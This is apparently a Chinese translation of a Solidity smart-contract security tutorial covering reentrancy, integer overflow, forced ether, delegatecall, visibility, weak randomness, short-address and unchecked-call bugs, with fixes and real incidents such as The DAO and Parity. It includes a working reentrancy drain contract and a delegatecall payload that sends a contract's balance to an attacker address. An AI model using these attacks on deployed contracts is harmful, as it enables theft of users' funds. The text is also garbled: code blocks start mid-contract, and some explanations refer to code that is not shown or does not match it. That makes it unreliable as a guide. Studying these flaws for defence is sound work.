uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

该合约有两个公共函数：`depositFunds()` 和 `withdrawFunds()`。`depositFunds()` 函数只是增加发送者的余额。`withdrawFunds()` 函数允许发送者指定要提取的 wei 数量。只有当请求提取的金额小于 1 ether 且在过去一周内没有发生过提取时，它才会成功。真的是这样吗？...

漏洞位于第 \[17\] 行，我们在那里向用户发送其请求的 ether 数量。考虑一个恶意攻击者创建如下合约，

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">现实世界示例：The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization))（去中心化自治组织）是以太坊早期发展过程中发生的重大黑客攻击事件之一。当时，该合约持有超过 1.5 亿美元。重入攻击在攻击中扮演了主要角色，最终导致了创建以太坊经典（ETC）的硬分叉。关于 DAO 漏洞的精彩分析，请参见 [Phil Daian 的文章](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/)。

<h2 id="ouflow"><span id="SP-2">2. 算术上溢/下溢</span></h2>

以太坊虚拟机（EVM）为整数指定了固定大小的数据类型。这意味着一个整数变量只能表示一定范围的数值。例如，`uint8` 只能存储 \[0,255\] 范围内的数字。尝试将 `256` 存储到 `uint8` 中会导致 `0`。如果不加注意，Solidity 中的变量可能会被利用：当用户输入未经检查，并且执行的计算结果超出了存储它们的数据类型的范围时。

有关算术上溢/下溢的进一步阅读，请参阅 [如何保护你的智能合约](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d)、[以太坊智能合约最佳实践](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) 和 [以太坊、Solidity 与整数溢出：像 1970 年一样编程区块链](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)

<h3 id="ou-vuln">漏洞</h3>

上溢/下溢发生在执行某个操作时，该操作需要固定大小的变量来存储超出变量数据类型范围的数字（或数据）。

例如，从一个存储值为 `0` 的 `uint8`（8 位无符号整数，即仅正数）变量中减去 `1`，结果将是数字 `255`。这就是下溢。我们分配了一个低于 `uint8` 范围的数字，结果 *回绕* 并给出 `uint8` 能存储的最大数字。类似地，向 `uint8` 加上 `2^8=256` 会使变量保持不变，因为我们已经绕过了 `uint` 的整个长度（对于数学家来说，这类似于向三角函数的角度加上 $2\pi$，$\sin(x) = \sin(x+2\pi)$）。加上超过数据类型范围的数字称为上溢。为清晰起见，向当前值为零的 `uint8` 加上 `257` 将得到数字 `1`。有时将固定类型变量视为循环的很有启发意义：如果我们加上超过最大可存储数字的数字，则从零重新开始；反之亦然，对于零（从零减去越多，我们就从最大数字开始向下计数）。

这些数值上的注意事项使攻击者能够滥用代码并创建意外的逻辑流。例如，请考虑下面的时间锁定合约。

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

这是一个简单的代币合约，它使用了一个 `transfer()` 函数，允许参与者转移他们的代币。你能看出这个合约中的错误吗？

缺陷出现在 `transfer()` 函数中。第 \[13\] 行的 require 语句可以通过下溢被绕过。考虑一个余额为零的用户。他们可以用任何非零的 `_value` 调用 `transfer()` 函数，并通过第 \[13\] 行的 require 语句。这是因为 `balances[msg.sender]` 为零（并且是 `uint256`），所以减去任何正数（除了 `2^256`）都会由于我们上面描述的下溢而产生一个正数。第 \[14\] 行也是如此，我们的余额会被记入一个正数。因此，在这个示例中，我们因下溢漏洞而获得了免费代币。

<h3 id="ou-prevention">预防技术</h3>

（目前）防范下溢/溢出漏洞的传统技术是使用或构建数学库，以替代标准的数学运算符：加法、减法和乘法（除法除外，因为它不会导致上溢/下溢，而且 EVM 在除以 0 时会回滚）。

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) 在构建和审计可供以太坊社区使用的安全库方面做得非常出色。特别是，他们的 [安全数学库](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) 是避免下溢/溢出漏洞的一个参考或库。

为了演示如何在 Solidity 中使用这些库，让我们使用 Open Zepplin 的 `SafeMath` 库来修正 `TimeLock` 合约。没有溢出问题的合约将变成：```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

该合约代表一个简单的游戏（其自然会涉及[竞争条件](#race-conditions)），玩家向合约发送 `0.5 ether` 的份额，希望能成为第一个达到三个里程碑之一的玩家。里程碑以 ether 为单位。第一个达到里程碑的玩家可以在游戏结束时领取一部分 ether。当达到最终里程碑（`10 ether`）时游戏结束，用户可以领取他们的奖励。

`EtherGame` 合约的问题源于对 `this.balance` 的错误使用，分别出现在第 \[14\] 行（及其关联的第 \[16\] 行）和第 \[32\] 行。恶意的攻击者可以通过 `selfdestruct()` 函数（上文已讨论）强行发送少量 ether，比如 `0.1 ether`，从而阻止任何后续玩家达到里程碑。由于所有合法玩家只能发送 `0.5 ether` 的增量，`this.balance` 将不再是半整数，因为它还会包含那 `0.1 ether` 的贡献。这使得第 \[18\]、\[21\] 和 \[24\] 行上的所有 if 条件都无法成立。

更糟糕的是，一个错过里程碑的报复性攻击者可以强行发送 `10 ether`（或其他等量的 ether，足以将合约余额推高至 `finalMileStone` 之上），从而将所有奖励永久锁定在合约中。这是因为 `claimReward()` 函数将始终回退，原因在于第 \[32\] 行的 require（即 `this.balance` 大于 `finalMileStone`）。

<h3 id="ether-prevention">预防技术</h3>

此漏洞通常源于对 `this.balance` 的误用。合约逻辑在可能的情况下应避免依赖合约余额的精确值，因为它可能被人为操纵。如果基于 `this.balance` 应用逻辑，请确保考虑到意外余额。

如果需要已存入 ether 的精确值，则应使用一个自定义变量，在 payable 函数中对其进行递增，以安全地跟踪存入的 ether。该变量不会受到通过 `selfdestruct()` 调用强行发送的 ether 的影响。

考虑到这一点，`EtherGame` 合约的修正版本可能如下所示：```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

该库提供了一个函数，可以生成序列中的第 *n* 个斐波那契数。它允许用户更改序列的起始数字（`start`），并在此新序列中计算第 *n* 个类斐波那契数。

现在让我们考虑一个使用该库的合约。


`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

注意,这个攻击合约通过更改存储`slot[1]`来修改`calculatedFibNumber`。原则上,攻击者可以修改他们选择的任何其他存储槽,从而对这合约发起各种攻击。我鼓励所有读者将这些合约放入 [Remix](https://remix.ethereum.org),并通过这些`delegatecall`函数尝试不同的攻击合约和状态更改。

同样重要的是要注意,当我们说`delegatecall`保持状态时,我们指的不是合约的变量名,而是这些名字所指向的实际存储槽。从这个例子可以看出,一个简单的错误就可能导致攻击者劫持整个合约及其以太币。

<h3 id="dc-prevention">预防技术</h3>

Solidity 提供了`library`关键字来实现库合约(更多细节请参阅 [Solidity 文档](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries))。这确保了库合约是无状态的且不可自毁的。强制库合约无状态,可以减轻本节所展示的存储上下文的复杂性。无状态库还可以防止攻击者直接修改库的状态,从而影响依赖该库代码的合约。

一般经验法则是,在使用`DELEGATECALL`时,要密切关注库合约和调用合约可能出现的调用上下文,并且尽可能构建无状态的库。

<h3 id="dc-example">现实世界示例:Parity 多签钱包(第二次攻击)</h3>

第二次 Parity 多签钱包攻击是一个示例,说明了编写良好的库代码如果在非预期上下文中运行,其上下文如何被利用。关于这次攻击有许多很好的解释,例如 Anthony Akentiev 的这篇概述:[Parity MultiSig 再次被黑](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838),这个 [Stack Exchange 问题](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130),以及 [深入剖析 Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/)。

在这些参考资料之外,让我们来探索遭到利用的合约。库合约和钱包合约可以在 Parity 的 GitHub 上找到 [这里](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol)。

让我们来看看该合约的相关方面。这里包含两个关键合约:库合约和钱包合约。

库合约,```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

请注意，`Wallet` 合约本质上是通过委托调用将所有调用传递给 `WalletLibrary` 合约。此代码片段中的常量 `_walletLibrary` 地址代表实际部署的 `WalletLibrary` 合约（其地址为 `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`）。

这些合约的预期运作方式是拥有一个简单、部署成本低的 `Wallet` 合约，其代码库和主要功能都在 `WalletLibrary` 合约中。不幸的是，`WalletLibrary` 合约本身也是一个合约，并维护自己的状态。你能看出这可能产生什么问题吗？

可以直接向 `WalletLibrary` 合约本身发送调用。具体来说，`WalletLibrary` 合约可以被初始化，并被拥有。一位用户通过调用 `WalletLibrary` 合约上的 `initWallet()` 函数做到了这一点，从而成为该库合约的所有者。随后，同一位用户调用了 `kill()` 函数。由于该用户是库合约的所有者，修饰符检查通过，库合约自毁（suicided）。由于所有现存的 `Wallet` 合约都引用这个库合约，并且没有方法更改此引用，它们的所有功能（包括提取以太币的能力）都随 `WalletLibrary` 合约一同丢失。更直接地说，所有此类 Parity 多签钱包中的以太币都会立即丢失或永久无法找回。

<h2 id="visibility"><span id="SP-5">5. 默认可见性</span></h2>

Solidity 中的函数具有可见性说明符，它们规定了函数允许如何被调用。可见性决定了函数是可由用户、其他派生合约外部调用，还是仅限内部调用或仅限外部调用。有四种可见性说明符，详见 [Solidity 文档](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters)。函数默认是 `public`，允许用户从外部调用它们。不正确使用可见性说明符可能导致智能合约出现一些毁灭性的漏洞，本节将对此进行讨论。

<h3 id="visibility-vuln">漏洞</h3>

函数的默认可见性是 `public`。因此，未指定任何可见性的函数将可被外部用户调用。当开发者错误地忽略了本应为 private（或仅可在合约内部调用）的函数的可见性说明符时，问题就出现了。

让我们快速看一个简单的例子。```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

请注意，这两个函数都没有显式指定可见性。两个函数都默认为 `public`。`initWallet()` 函数在钱包构造函数中被调用，并设置多签钱包的所有者，如 `initMultiowned()` 函数所示。由于这些函数被意外地保留为 `public`，攻击者能够对已部署的合约调用这些函数，将所有权重置为攻击者的地址。作为所有者，攻击者随后从钱包中窃取了所有以太币，总计 3100 万美元。

<h2 id="entropy"><span id="SP-6">6. 熵错觉</span></h2>

以太坊区块链上的所有交易都是确定性的状态转换操作。这意味着每笔交易都会修改以太坊生态系统的全局状态，并且以可计算、无不确定性的方式进行。这最终意味着区块链生态系统内部没有熵或随机性的来源。Solidity 中没有 `rand()` 函数。实现去中心化的熵（随机性）是一个公认的难题，人们已经提出了许多想法来解决这个问题（例如，参见 [RandDAO](https://github.com/randao/randao) 或使用 Vitalik 在这篇 [文章](https://vitalik.ca/files/randomness.html) 中描述的哈希链）。

<h3 id="entropy-vuln">漏洞</h3>

建立在以太坊平台上的第一批合约中，有些是基于赌博的。从根本上说，赌博需要不确定性（某种可下注的东西），这使得在区块链（一个确定性系统）上构建赌博系统变得相当困难。显然，这种不确定性必须来自区块链外部的来源。这在参与者之间的对赌中是可行的（例如，参见 [提交-揭露技术](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)），然而，如果你想实现一个充当 *庄家* 的合约（如二十一点或轮盘赌），就会困难得多。一个常见的陷阱是使用未来区块的变量，例如哈希、时间戳、区块号或 gas 上限。这些变量的问题在于它们由挖出该区块的矿工控制，因此并非真正的随机。例如，考虑一个轮盘赌智能合约，其逻辑是如果下一个区块哈希以偶数结尾，则返回黑色数字。矿工（或矿池）可以下注 100 万美元押黑色。如果他们解出下一个区块并发现哈希以奇数结尾，他们很乐意不发布该区块，而是继续挖另一个区块，直到找到一个区块哈希为偶数的解（假设区块奖励和手续费低于 100 万美元）。使用过去或现在的变量可能更具破坏性，正如 Martin Swende 在他出色的 [博客文章](http://martin.swende.se/blog/Breaking_the_house.html) 中所展示的那样。此外，仅使用区块变量意味着一个区块中的所有交易将得到相同的伪随机数，因此攻击者可以通过在一个区块内进行多笔交易来成倍增加收益（如果有最大投注额的话）。

<h3 id="entropy-prevention">预防技术</h3>

熵（随机性）的来源必须位于区块链之外。这可以通过参与者之间的系统来实现，例如 [提交-揭露](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)，或者通过将信任模型改为一组参与者（例如 [RandDAO](https://github.com/randao/randao)）。这也可以通过充当随机性预言机的中心化实体来完成。区块变量（总的来说，存在一些例外）不应被用作熵的来源，因为它们可能被矿工操纵。

<h3 id="entropy-example">现实世界示例：PRNG 合约</h3>

Arseny Reutov 在分析了 3649 个使用某种伪随机数生成器（PRNG）的活跃智能合约后，撰写了一篇 [博客文章](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)，并发现有 43 个合约可能被利用。

<h2 id="contract-reference"><span id="SP-7">7. 外部合约引用</span></h2>

以太坊 *全球计算机* 的优势之一是能够重用代码并与网络上已部署的合约进行交互。因此，大量合约会引用外部合约，并在常规操作中使用外部消息调用来与这些合约交互。这些外部消息调用可能以一些不显而易见的方式掩盖恶意行为者的意图，我们将对此进行讨论。

<h3 id="cr-vuln">漏洞</h3>

在 Solidity 中，任何地址都可以被强制转换为合约，无论该地址上的代码是否代表被转换的合约类型。这可能具有欺骗性，尤其是当合约作者试图隐藏恶意代码时。让我们用一个例子来说明这一点：

考虑一段粗略实现了 [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13) 密码的代码。

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

这个合约的问题在于 `encryptionLibrary` 地址不是公开的或常量。因此合约的部署者可能已在构造函数中提供了一个指向此合约的地址：```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

如果这些合约中的任何一个地址在构造函数中给出，`encryptPrivateData()` 函数只会生成一个打印未加密私有数据的事件。尽管在此示例中，一个类似库的合约在构造函数中被设置，但常见的情况是特权用户（如 `owner`）可以更改库合约地址。如果链接的合约不包含被调用的函数，则会执行回退函数。例如，对于代码行 `encryptionLibrary.rot13Encrypt()`，如果由 `encryptionLibrary` 指定的合约是：```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

这样，部署时会创建所引用合约的一个实例，部署者无法在不修改智能合约的情况下将 `Rot13Encryption` 合约替换为任何其他内容。

另一种解决方案是，如果已知外部合约地址，则将其硬编码。

一般来说，调用外部合约的代码应始终被仔细检查。作为开发人员，在定义外部合约时，一个好做法是将合约地址设为公开（下面的蜜罐示例中并非如此），以使用户能够轻松检查合约引用了哪些代码。相反，如果合约将合约地址作为私有变量，这可能表明有人在实施恶意行为（如现实世界示例所示）。如果特权（或任何）用户能够更改用于调用外部函数的合约地址，那么在去中心化系统背景下，实施时间锁或投票机制可能很重要，以便用户能够看到哪些代码正在被更改，或让参与者有机会选择是否接受新的合约地址。


<h3 id="cr-example">现实世界示例：重入蜜罐</h3>

最近主网上发布了一些蜜罐。这些合约试图智取那些试图利用合约的以太坊黑客，但这些黑客反而最终会将自己期望利用的合约中的以太币丢失。其中一个示例采用了上述攻击方式，在构造函数中用恶意合约替换了预期合约。相关代码可在[这里](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code)找到：```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

现在考虑一个交易所，持有大量某种代币（比如 `REP`），而用户希望提取其份额中的 100 个代币。用户会提交其地址 `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead` 和代币数量 `100`。交易所会按照 `transfer()` 函数指定的顺序编码这些参数，即先 `address` 后 `tokens`。编码结果为 `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`。前四个字节（`a9059cbb`）是 `transfer()` 的[函数签名/选择器](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector)，接着的 32 字节是地址，最后 32 字节表示 `uint256` 类型的代币数量。注意末尾的十六进制 `56bc75e2d63100000` 对应 100 个代币（按 `REP` 代币合约规定的 18 位小数）。

好的，现在让我们看看如果发送一个少了 1 字节（2 个十六进制位）的地址会发生什么。具体来说，假设攻击者发送 `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` 作为地址（少了最后两位），并同样请求提取 `100` 个代币。如果交易所没有验证该输入，它会被编码为 `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`。区别很细微。注意，在编码末尾补上了 `00`，以弥补发送的地址缺少的部分。当这被发送到智能合约时，`address` 参数会被读取为 `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00`，而值会被读取为 `56bc75e2d6310000000`（注意多了两个 `0`）。这个值现在是 `25600` 个代币（该值被乘以了 `256`）。在这个例子中，如果交易所持有这么多代币，用户将向被修改后的地址提取 `25600` 个代币（而交易所认为用户只提取了 `100`）。显然，在这个例子中攻击者不会拥有被修改后的地址，但如果攻击者生成任何以 `0` 结尾的地址（这很容易通过暴力破解得到）并使用该生成的地址，就可以轻松地从毫无防备的交易所窃取代币。

<h3 id="short-prev">预防技术</h3>

我想显而易见的是，在将所有输入发送到区块链之前验证所有输入，将能防止此类攻击。还应指出，参数排序在这里起着重要作用。由于填充只发生在末尾，因此在智能合约中仔细排列参数可以潜在地减轻这种攻击的某些形式。

<h3 id="short-example">真实案例：未知</h3>

据我所知，目前还没有公开报道的此类攻击实例。

<h2 id="unchecked-calls"><span id="SP-9">9. 未检查的 CALL 返回值</span></h2>

在 solidity 中有多种执行外部调用的方式。向外部账户发送以太币通常通过 `transfer()` 方法执行。但是，`send()` 函数也可以使用，并且对于更通用的外部调用，可以在 solidity 中直接使用 `CALL` 操作码。`call()` 和 `send()` 函数返回一个布尔值，指示调用是成功还是失败。因此，这些函数有一个简单的注意事项：如果外部调用（由 `call()` 或 `send()` 发起）失败，执行这些函数的交易不会回滚，而是 `call()` 或 `send()` 只会返回 `false`。一个常见的陷阱是，当返回值未被检查时，开发者却期望发生回滚。

更多信息，请参阅 [DASP Top 10](http://www.dasp.co/#item-4) 和 [Scanning Live Ethereum Contracts for the "Unchecked-Send" Bug](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/)。

<h3 id="unchecked-calls-vuln">漏洞</h3>

考虑以下示例：```solidity
contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

    var subpotsCount = getSubpotsCount(roundIndex);

    if(subpotIndex>=subpotsCount)
        return;

    var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

    if(decisionBlockNumber>block.number)
        return;

    if(rounds[roundIndex].isCashed[subpotIndex])
        return;
    //Subpots can only be cashed once. This is to prevent double payouts

    var winner = calculateWinner(roundIndex,subpotIndex);
    var subpot = getSubpot(roundIndex);

    winner.send(subpot);

    rounds[roundIndex].isCashed[subpotIndex] = true;
